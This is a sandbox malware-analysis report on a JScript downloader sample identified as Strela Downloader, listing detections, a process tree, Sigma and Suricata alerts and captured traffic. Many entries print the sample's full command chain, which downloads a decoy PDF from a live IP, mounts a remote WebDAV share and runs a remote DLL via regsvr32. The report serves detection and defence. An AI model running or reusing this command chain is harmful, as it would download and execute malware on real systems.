Edit tour

Windows Analysis Report
709291801716322197.js

Overview

General Information

Sample name:	709291801716322197.js
Analysis ID:	1588879
MD5:	b4e91a87f38812e83ddaeaa4bd31ec3e
SHA1:	36e8705aef6134f6de84269be4e3936ebffd19c4
SHA256:	6d3e146a9a9f88fa6e2e279f1f162cff00cebc929de62dfbb4430c8ff39660aa
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1460 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2936 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2628 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5916 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4540 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7336 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1632,i,10589699250535249352,15620526891858889764,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2020 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6912 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7216 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1460	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2936, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2628, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2936, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2628, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js", ProcessId: 1460, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6912, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49701

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1460, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, ProcessId: 2936, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1460, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, ProcessId: 2936, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1460, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, ProcessId: 2936, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1460, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, ProcessId: 2936, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1460, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, ProcessId: 2936, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1460, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, ProcessId: 2936, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js", ProcessId: 1460, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2936, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2628, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2020, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6912, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7216, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2020, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6912, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1460, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll, ProcessId: 2936, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:39:20.279263+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:39:24.013107+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49701	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:39:20.279263+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 709291801716322197.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 709291801716322197.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 709291801716322197.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49699 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49701 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:39:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 